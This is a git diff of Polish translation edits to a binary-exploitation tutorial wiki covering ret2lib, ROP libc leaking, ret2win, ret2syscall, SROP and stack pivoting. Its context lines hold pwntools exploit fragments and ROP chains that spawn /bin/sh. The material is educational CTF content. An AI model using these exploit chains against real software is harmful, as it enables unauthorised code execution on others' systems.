stack-shellcode.md ## ROP -Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu** (NX). Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które kończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku: +Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu** (NX). Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które kończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binarnym pliku: {{#ref}} rop-return-oriented-programing.md @@ -80,7 +80,7 @@ rop-return-oriented-programing.md ## Typy ochrony -Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w: +Istnieje kilka ochron, które próbują zapobiec wykorzystaniu podatności, sprawdź je w: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md index 3649d65ad..f5f245506 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md @@ -4,7 +4,7 @@ ## Wskaźniki do ciągów -Jeśli wywołanie funkcji ma użyć adresu ciągu, który znajduje się na stosie, można wykorzystać przepełnienie bufora, aby **nadpisać ten adres** i umieścić **adres innego ciągu** wewnątrz binarnego. +Jeśli wywołanie funkcji ma użyć adresu ciągu, który znajduje się na stosie, możliwe jest nadużycie przepełnienia bufora, aby **nadpisać ten adres** i umieścić **adres innego ciągu** wewnątrz binarnego. Na przykład, jeśli wywołanie funkcji **`system`** ma **użyć adresu ciągu do wykonania polecenia**, atakujący może umieścić **adres innego ciągu na stosie**, **`export PATH=.:$PATH`** i stworzyć w bieżącym katalogu **skrypt o nazwie pierwszej litery nowego ciągu**, ponieważ zostanie on wykonany przez binarny. @@ -16,7 +16,7 @@ Możesz znaleźć przykład tego w: ## Wskaźniki do funkcji -To samo co wskaźnik do ciągu, ale stosuje się do funkcji. Jeśli **stos zawiera adres funkcji**, która ma być wywołana, można go **zmienić** (np. aby wywołać **`system`**). +To samo co wskaźnik do ciągu, ale stosuje się do funkcji. Jeśli **stos zawiera adres funkcji**, która ma być wywołana, możliwe jest **zmienienie go** (np. aby wywołać **`system`**). Możesz znaleźć przykład w: diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md index f256bf95b..9b7042348 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md @@ -8,11 +8,11 @@ Jeśli **Randomizacja układu przestrzeni adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, możliwe jest użycie instrukcji `jmp esp` lub `call esp` znajdujących się w bibliotekach współdzielonych. Jednak przy aktywnym [**ASLR**](../common-binary-protections-and-bypasses/aslr/) może być konieczne poszukiwanie tych instrukcji w samym podatnym programie (i może być konieczne pokonanie [**PIE**](../common-binary-protections-and-bypasses/pie/)). -Ponadto, możliwość umieszczenia shellcode **po uszkodzeniu EIP**, a nie w środku stosu, zapewnia, że jakiekolwiek instrukcje `push` lub `pop` wykonywane podczas działania funkcji nie zakłócają shellcode. Taka interferencja mogłaby wystąpić, gdyby shellcode został umieszczony w środku stosu funkcji. +Ponadto, możliwość umieszczenia shellcode **po uszkodzeniu EIP**, a nie w środku stosu, zapewnia, że jakiekolwiek instrukcje `push` lub `pop` wykonywane podczas działania funkcji nie zakłócają shellcode. Taka interferencja mogłaby wystąpić, gdyby shellcode był umieszczony w środku stosu funkcji. ### Brak miejsca -Jeśli brakuje Ci miejsca do zapisania po nadpisaniu RIP (może tylko kilka bajtów), napisz początkowy shellcode `jmp`, taki jak: +Jeśli brakuje Ci miejsca na zapisanie po nadpisaniu RIP (może tylko kilka bajtów), napisz początkowy shellcode `jmp` jak: ```armasm sub rsp, 0x30 jmp rsp @@ -43,7 +43,7 @@ p.interactive() ``` ## Ret2reg -Podobnie, jeśli znamy funkcję, która zwraca adres, w którym przechowywany jest shellcode, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**). +Podobnie, jeśli znamy funkcję, która zwraca adres, w którym przechowywane jest shellcode, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**). ### Przykład @@ -52,7 +52,7 @@ Możesz znaleźć przykład tutaj: [https://ir0nstone.gitbook.io/notes/types/sta ## Ochrony - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonywalny, to nie pomoże, ponieważ musimy umieścić shellcode w stosie i skoczyć, aby go wykonać. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Mogą one utrudnić znalezienie instrukcji do skoku do esp lub innego rejestru. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Te mogą utrudnić znalezienie instrukcji do skoku do esp lub innego rejestru. ## Odniesienia diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md index 925da044c..481481a7a 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md @@ -49,7 +49,7 @@ W tym przypadku jest załadowana w **0xb75dc000** (To będzie adres bazowy libc) ## Nieznana libc -Może się zdarzyć, że **nie znasz libc, którą ładuje binarka** (ponieważ może być zlokalizowana na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać lukę, aby **wyciekować niektóre adresy i znaleźć, która biblioteka libc** jest używana: +Może się zdarzyć, że **nie znasz libc, którą ładowany jest binarny plik** (ponieważ może znajdować się na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać lukę, aby **ujawnić kilka adresów i znaleźć, która biblioteka libc** jest używana: {{#ref}} rop-leaking-libc-address/ @@ -65,11 +65,11 @@ rop-leaking-libc-address/rop-leaking-libc-template.md Te ataki brute-force są **przydatne tylko dla systemów 32-bitowych**. -- Jeśli exploit jest lokalny, możesz spróbować brute-forcować adres bazowy libc (przydatne dla systemów 32-bitowych): +- Jeśli exploit jest lokalny, możesz spróbować brute-force'ować adres bazowy libc (przydatne dla systemów 32-bitowych): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -- Jeśli atakujesz zdalny serwer, możesz spróbować **brute-force'ować adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer zajmuje dodatkowe 10s na odpowiedź**, znalazłeś adres tej funkcji. +- Jeśli atakujesz zdalny serwer, możesz spróbować **brute-force'ować adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10s na odpowiedź**, znalazłeś adres tej funkcji. ## One Gadget @@ -95,7 +95,7 @@ payload = 'A'*0x20010 + p c.send(payload) c.interactive() ``` -## x64 Ret2lib Przykład kodu +## x64 Ret2lib Przykład Kodu Sprawdź przykład z: @@ -115,7 +115,7 @@ To zasadniczo oznacza nadużywanie **Ret2lib, aby przekształcić to w podatnoś ../../format-strings/ {{#endref}} -## Inne przykłady i odniesienia +## Inne Przykłady i odniesienia - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - Ret2lib, podając wyciek do adresu funkcji w libc, używając jednego gadżetu diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md index c06ecb0f2..c86f0498f 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md @@ -126,7 +126,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` To wyśle kilka bajtów, aż **nadpisanie** **RIP** będzie możliwe: `OFFSET`.\ Następnie ustawi **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać puts**, **przekazując** mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez `PUTS_GOT`.\ -Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\ +Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` wewnątrz **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\ Na koniec **funkcja main jest wywoływana ponownie**, abyśmy mogli ponownie wykorzystać przepełnienie. W ten sposób **oszukaliśmy funkcję puts**, aby **wydrukowała** **adres** w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**. @@ -182,13 +182,13 @@ __libc_start_main read gets ``` -## 4- Znalezienie adresu libc opartego na i wykorzystanie +## 4- Znalezienie adresu libc i eksploatacja -W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6` +W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6` Na początku `template.py` zmień zmienną **libc** na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy` -Podając **ścieżkę** do **biblioteki libc**, reszta **eksploatu będzie automatycznie obliczana**. +Podając **ścieżkę** do **biblioteki libc**, reszta **eksploatująca zostanie automatycznie obliczona**. Wewnątrz funkcji `get_addr` zostanie obliczony **adres bazowy libc**: ```python @@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address)) > [!NOTE] > Zauważ, że **ostateczny adres bazy libc musi kończyć się na 00**. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę. -Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podane **bibliotece libc.** +Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podanej **biblioteki libc.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -222,14 +222,14 @@ Wyjaśnijmy ten ostatni ROP.\ Ostatni ROP (`rop1`) zakończył się ponownym wywołaniem funkcji main, więc możemy **ponownie wykorzystać** **przepełnienie** (dlatego `OFFSET` jest tutaj ponownie). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr.\ Na koniec **adres funkcji exit** jest **wywoływany**, aby proces **ładnie zakończył działanie** i nie został wygenerowany żaden alert. -**W ten sposób exploit wykona \_/bin/sh**\_\*\* powłokę.\*\* +**W ten sposób exploit wykona \_/bin/sh**\_\*\* shell.\*\* ![](<../../../../../images/image (143).png>) ## 4(2)- Używając ONE_GADGET -Możesz również użyć [**ONE_GADGET** ](https://github.com/david942j/one_gadget), aby uzyskać powłokę zamiast używać **system** i **"/bin/sh". ONE_GADGET** znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego **adresu ROP**.\ -Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości wewnątrz **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte. +Możesz również użyć [**ONE_GADGET** ](https://github.com/david942j/one_gadget), aby uzyskać shell zamiast używać **system** i **"/bin/sh". ONE_GADGET** znajdzie w bibliotece libc sposób na uzyskanie shellu, używając tylko jednego **adresu ROP**.\ +Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte. ![](<../../../../../images/image (615).png>) ```python diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index 1457d5150..c87b799ce 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -186,7 +186,7 @@ P.interactive() #Interact with your shell :) ## MAIN_PLT = elf.symbols\['main'] not found -Jeśli symbol "main" nie istnieje (prawdopodobnie z powodu usunięcia symboli z binarnego pliku). Wtedy możesz po prostu sprawdzić, gdzie znajduje się główny kod: +Jeśli symbol "main" nie istnieje (prawdopodobnie dlatego, że jest to zredukowany plik binarny). Wtedy możesz po prostu sprawdzić, gdzie znajduje się główny kod: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md index 29a5b0c20..062dc5550 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md @@ -6,7 +6,7 @@ Głównym celem tej techniki jest próba **obejścia ASLR poprzez nadużycie istniejącego wskaźnika na stosie**. -Zasadniczo, przepełnienia stosu są zazwyczaj spowodowane ciągami, a **ciągi kończą się bajtem null na końcu** w pamięci. Umożliwia to próbę zmniejszenia miejsca wskazywanego przez istniejący wskaźnik już obecny na stosie. Jeśli więc stos zawierał `0xbfffffdd`, to to przepełnienie mogłoby przekształcić go w `0xbfffff00` (zauważ ostatni zera bajt). +W zasadzie, przepełnienia stosu są zazwyczaj spowodowane przez ciągi, a **ciągi kończą się bajtem zerowym na końcu** w pamięci. To pozwala na próbę zmniejszenia miejsca wskazywanego przez istniejący wskaźnik już obecny na stosie. Jeśli więc stos zawierał `0xbfffffdd`, to to przepełnienie mogłoby przekształcić go w `0xbfffff00` (zauważ ostatni zera bajt). Jeśli ten adres wskazuje na nasz shellcode na stosie, możliwe jest skierowanie przepływu do tego adresu poprzez **dodawanie adresów do instrukcji `ret`** aż do momentu, gdy ta zostanie osiągnięta. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md index 7c62faa6e..e24889730 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -**Ret2win** to popularna kategoria w zawodach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie luki w danym pliku binarnym, aby wywołać określoną, niewywoływaną funkcję w tym pliku, często nazwaną coś w stylu `win`, `flag` itp. Ta funkcja, po wywołaniu, zazwyczaj wypisuje flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami: +**Ret2win** to popularna kategoria w zawodach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie luki w danym pliku binarnym, aby wywołać określoną, niewywołaną funkcję w tym pliku, często nazwaną coś w stylu `win`, `flag` itp. Ta funkcja, po wywołaniu, zazwyczaj wypisuje flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami: ### Przykład C @@ -59,17 +59,17 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` -Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia, które pozwala na inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć: +Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia, które pozwala na inspekcję plików binarnych. Na przykład, z użyciem `objdump`, możesz użyć: ```sh objdump -d vulnerable | grep win ``` -To polecenie pokaże Ci kod asemblera funkcji `win`, w tym jej adres początkowy. +To polecenie pokaże Ci asembler funkcji `win`, w tym jej adres początkowy. Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, przepełnia bufor i nadpisuje adres powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca, zamiast wracać do `main` lub kończyć, skacze do `win`, a wiadomość jest drukowana. ## Ochrony -- [**PIE**](../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i będziesz potrzebować jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcja, która powoduje przepełnienie, to `read` lub podobna, możesz wykonać **Częściowe Nadpisanie** 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje **1/16 szansy** (1 nibble), aby uzyskać poprawny adres powrotu. +- [**PIE**](../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i potrzebowałbyś jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcją powodującą przepełnienie jest `read` lub podobna, możesz wykonać **Częściowe Nadpisanie** 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje **1/16 szansy** (1 nibble), aby uzyskać poprawny adres powrotu. - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) powinny być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony. ## Inne przykłady i odniesienia @@ -82,7 +82,7 @@ Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest pr - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64 bity, bez ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bity, bez ASLR, podwójne małe przepełnienie, pierwsze przepełnienie stosu i powiększenie rozmiaru drugiego przepełnienia +- 32 bity, bez ASLR, podwójne małe przepełnienie, pierwsze przepełnia stos i zwiększa rozmiar drugiego przepełnienia - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bity, relro, bez canary, nx, bez pie, format string do nadpisania adresu `fflush` funkcją win (ret2win) - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md index 9115a0776..1bc7724ef 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -161,7 +161,7 @@ Zauważ, że ROP to tylko technika mająca na celu wykonanie dowolnego kodu. Na ret2lib/ {{#endref}} -- **Ret2Syscall**: Użyj ROP, aby przygotować wywołanie do syscall, np. `execve`, i sprawić, aby wykonywało dowolne polecenia. +- **Ret2Syscall**: Użyj ROP, aby przygotować wywołanie do syscall, np. `execve`, i sprawić, aby wykonało dowolne polecenia. {{#ref}} rop-syscall-execv.md diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md index e8bb22353..476d683c1 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall `sys_execve` z pewnymi argumentami, aby wykonać `/bin/sh`. Technika ta jest zazwyczaj stosowana w binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall. +To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall `sys_execve` z pewnymi argumentami, aby wykonać `/bin/sh`. Technika ta jest zazwyczaj stosowana w binariach, które są kompilowane statycznie, więc może być wiele gadżetów i instrukcji syscall. Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfiguracja: @@ -13,10 +13,10 @@ Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfig - `rsi: 0 wskazuje brak przekazanych argumentów` - `rdx: 0 wskazuje brak przekazanych zmiennych środowiskowych` -Tak więc, zasadniczo trzeba napisać ciąg `/bin/sh` gdzieś, a następnie wykonać `syscall` (biorąc pod uwagę potrzebne wypełnienie do kontrolowania stosu). W tym celu potrzebujemy gadżetu, aby zapisać `/bin/sh` w znanym obszarze. +Więc zasadniczo trzeba napisać ciąg `/bin/sh` gdzieś, a następnie wykonać `syscall` (biorąc pod uwagę potrzebne wypełnienie do kontrolowania stosu). W tym celu potrzebujemy gadżetu, aby zapisać `/bin/sh` w znanym obszarze. > [!TIP] -> Innym interesującym syscall do wywołania jest **`mprotect`**, który pozwoliłby atakującemu na **zmodyfikowanie uprawnień strony w pamięci**. Można to połączyć z [ret2shellcode](stack-shellcode.md). +> Innym interesującym syscall do wywołania jest **`mprotect`**, który pozwoliłby atakującemu na **zmodyfikowanie uprawnień strony w pamięci**. Może to być połączone z [ret2shellcode](stack-shellcode.md). ## Gadżety rejestrów @@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` ### Automatyzacja łańcucha ROP -Poniższe polecenie tworzy pełny łańcuch `sys_execve` ROP dla statycznego binarnego pliku, gdy dostępne są gadżety write-what-where oraz instrukcje syscall: +Poniższe polecenie tworzy pełny łańcuch ROP `sys_execve` dla statycznego binarnego pliku, gdy dostępne są gadżety write-what-where oraz instrukcje syscall: ```bash ROPgadget --binary vuln --ropchain ``` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md index 3026c934e..77e2e4b1c 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md @@ -11,9 +11,9 @@ Po zakończeniu działania obsługi sygnałów program musi **wznowić swój pop Interesującą częścią jest to, jak **`sigreturn`** przywraca stan programu: robi to, przechowując **wszystkie wartości rejestrów CPU na stosie.** Gdy sygnał nie jest już zablokowany, **`sigreturn` zdejmuje te wartości ze stosu**, efektywnie resetując rejestry CPU do ich stanu sprzed obsługi sygnału. Obejmuje to rejestr wskaźnika stosu (RSP), który wskazuje na aktualny szczyt stosu. > [!CAUTION] -> Wywołanie syscall **`sigreturn`** z łańcucha ROP i **dodanie wartości rejestrów**, które chcielibyśmy załadować na **stos**, umożliwia **kontrolowanie** wszystkich wartości rejestrów, a tym samym **wywołanie** na przykład syscall `execve` z `/bin/sh`. +> Wywołanie syscall **`sigreturn`** z łańcucha ROP i **dodanie wartości rejestrów**, które chcielibyśmy załadować na **stos**, pozwala na **kontrolowanie** wszystkich wartości rejestrów, a tym samym **wywołanie** na przykład syscall `execve` z `/bin/sh`. -Zauważ, że byłoby to **rodzaj Ret2syscall**, który znacznie ułatwia kontrolowanie parametrów do wywoływania innych Ret2syscall: +Zauważ, że byłby to **typ Ret2syscall**, który znacznie ułatwia kontrolowanie parametrów do wywoływania innych Ret2syscalls: {{#ref}} rop-syscall-execv.md diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 2c3e3afdd..65bf213ce 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -6,7 +6,7 @@ Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji `leave; ret`. -Przypominając, **`leave`** zasadniczo oznacza: +Przypomnienie, **`leave`** zasadniczo oznacza: ``` mov esp, ebp pop ebp @@ -18,8 +18,8 @@ I jako że **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrol Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania. -Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\ -Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma wskoczyć, gdzie będziesz musiał zapisać adres, na który wskazuje ESP. +Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\ +Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma iść, gdzie będziesz musiał zapisać adres, na który wskazuje ESP. #### Budowa Exploita @@ -29,8 +29,8 @@ Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod* - Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu. - Adresu **`system()`** po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits). -- Adresu **`jump esp;`** gadgetu ([**ret2esp**](ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania. -- Jakiegoś [**ROP**](rop-return-oriented-programing.md) łańcucha. +- Adresu gadżetu **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania. +- Jakiegoś łańcucha [**ROP**](rop-return-oriented-programing.md) Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli nad wykonaniem. @@ -38,18 +38,18 @@ Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pam Istnieje 